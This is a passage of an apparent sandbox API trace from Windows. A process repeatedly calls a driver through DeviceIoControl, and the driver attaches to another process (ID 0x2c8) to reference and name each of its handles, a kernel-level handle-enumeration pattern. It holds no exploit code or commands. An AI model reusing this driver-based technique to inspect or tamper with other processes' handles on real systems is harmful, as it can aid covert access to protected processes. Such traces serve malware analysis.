(ApcState=0xfffff880044355d0) [0121.643] PsReleaseProcessExitSynchronization () returned 0x2 [0121.643] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.643] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.643] ObfDereferenceObject (Object=0xfffffa8003124d10) returned 0x1 [0121.643] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.643] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.643] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0121.643] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.643] PsAcquireProcessExitSynchronization () returned 0x0 [0121.643] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.643] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003124b80, HandleInformation=0x0) returned 0x0 [0121.643] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.643] PsReleaseProcessExitSynchronization () returned 0x2 [0121.643] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.643] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.644] ObfDereferenceObject (Object=0xfffffa8003124b80) returned 0x1 [0121.644] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.644] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.644] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0121.644] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.644] PsAcquireProcessExitSynchronization () returned 0x0 [0121.644] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.644] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800c0d0cb0, HandleInformation=0x0) returned 0x0 [0121.644] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.644] PsReleaseProcessExitSynchronization () returned 0x2 [0121.644] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.644] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.644] ObfDereferenceObject (Object=0xfffffa800c0d0cb0) returned 0x12 [0121.644] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.644] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.644] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.644] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.644] PsAcquireProcessExitSynchronization () returned 0x0 [0121.644] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.644] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800306e070, HandleInformation=0x0) returned 0x0 [0121.644] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.644] PsReleaseProcessExitSynchronization () returned 0x2 [0121.644] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.644] ObQueryNameString (in: Object=0xfffffa800306e070, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.644] ObfDereferenceObject (Object=0xfffffa800306e070) returned 0x2 [0121.644] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.644] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.644] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0121.645] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.645] PsAcquireProcessExitSynchronization () returned 0x0 [0121.645] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.645] ObReferenceObjectByHandle (in: Handle=0x194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003122070, HandleInformation=0x0) returned 0x0 [0121.645] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.645] PsReleaseProcessExitSynchronization () returned 0x2 [0121.645] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.645] ObQueryNameString (in: Object=0xfffffa8003122070, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.645] ObfDereferenceObject (Object=0xfffffa8003122070) returned 0x2 [0121.645] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.645] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.645] PsAcquireProcessExitSynchronization () returned 0x0 [0121.645] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.645] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031228d0, HandleInformation=0x0) returned 0x0 [0121.645] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.645] PsReleaseProcessExitSynchronization () returned 0x2 [0121.645] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.645] ObQueryNameString (in: Object=0xfffffa80031228d0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.645] ObfDereferenceObject (Object=0xfffffa80031228d0) returned 0x2 [0121.645] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.645] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.646] PsAcquireProcessExitSynchronization () returned 0x0 [0121.646] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.646] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003167360, HandleInformation=0x0) returned 0x0 [0121.646] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.646] PsReleaseProcessExitSynchronization () returned 0x2 [0121.646] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.646] ObQueryNameString (in: Object=0xfffffa8003167360, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.646] ObfDereferenceObject (Object=0xfffffa8003167360) returned 0x2 [0121.646] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.646] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.646] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.646] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.646] PsAcquireProcessExitSynchronization () returned 0x0 [0121.646] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.646] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003169bb0, HandleInformation=0x0) returned 0x0 [0121.646] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.646] PsReleaseProcessExitSynchronization () returned 0x2 [0121.646] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.646] ObQueryNameString (in: Object=0xfffffa8003169bb0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.646] ObfDereferenceObject (Object=0xfffffa8003169bb0) returned 0x2 [0121.646] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.646] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.646] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0121.646] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.647] PsAcquireProcessExitSynchronization () returned 0x0 [0121.647] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.647] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316a180, HandleInformation=0x0) returned 0x0 [0121.647] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.647] PsReleaseProcessExitSynchronization () returned 0x2 [0121.647] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.647] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.647] ObfDereferenceObject (Object=0xfffffa800316a180) returned 0x20 [0121.647] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.647] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.647] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0121.647] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.647] PsAcquireProcessExitSynchronization () returned 0x0 [0121.647] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.647] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800b6a4e20, HandleInformation=0x0) returned 0x0 [0121.647] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.647] PsReleaseProcessExitSynchronization () returned 0x2 [0121.647] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.647] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.647] ObfDereferenceObject (Object=0xfffffa800b6a4e20) returned 0x20 [0121.647] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.647] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.647] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0121.647] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.647] PsAcquireProcessExitSynchronization () returned 0x0 [0121.647] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.647] ObReferenceObjectByHandle (in: Handle=0x1dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316fea0, HandleInformation=0x0) returned 0x0 [0121.647] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.647] PsReleaseProcessExitSynchronization () returned 0x2 [0121.647] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.647] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.648] ObfDereferenceObject (Object=0xfffffa800316fea0) returned 0x12 [0121.648] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.648] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.648] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0121.648] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.648] PsAcquireProcessExitSynchronization () returned 0x0 [0121.648] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.648] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316d800, HandleInformation=0x0) returned 0x0 [0121.648] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.648] PsReleaseProcessExitSynchronization () returned 0x2 [0121.648] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.648] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.648] ObfDereferenceObject (Object=0xfffffa800316d800) returned 0x20 [0121.648] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.648] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.648] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0121.648] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.648] PsAcquireProcessExitSynchronization () returned 0x0 [0121.648] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.648] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316eda0, HandleInformation=0x0) returned 0x0 [0121.648] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.648] PsReleaseProcessExitSynchronization () returned 0x2 [0121.648] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.648] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.648] ObfDereferenceObject (Object=0xfffffa800316eda0) returned 0x12 [0121.648] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.648] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.648] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0121.649] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.649] PsAcquireProcessExitSynchronization () returned 0x0 [0121.649] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.649] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800f25e8e0, HandleInformation=0x0) returned 0x0 [0121.649] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.649] PsReleaseProcessExitSynchronization () returned 0x2 [0121.649] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.649] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.649] ObfDereferenceObject (Object=0xfffffa800f25e8e0) returned 0x12 [0121.649] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.649] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.649] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x96, lpOverlapped=0x0) returned 1 [0121.649] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.649] PsAcquireProcessExitSynchronization () returned 0x0 [0121.649] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.649] ObReferenceObjectByHandle (in: Handle=0x218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316ec50, HandleInformation=0x0) returned 0x0 [0121.649] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.649] PsReleaseProcessExitSynchronization () returned 0x2 [0121.649] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.649] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.649] ObfDereferenceObject (Object=0xfffffa800316ec50) returned 0x12 [0121.649] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.649] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.649] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0121.649] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.649] PsAcquireProcessExitSynchronization () returned 0x0 [0121.649] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.649] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316d6b0, HandleInformation=0x0) returned 0x0 [0121.650] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.650] PsReleaseProcessExitSynchronization () returned 0x2 [0121.650] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.650] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.650] ObfDereferenceObject (Object=0xfffffa800316d6b0) returned 0x12 [0121.650] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.650] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.650] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 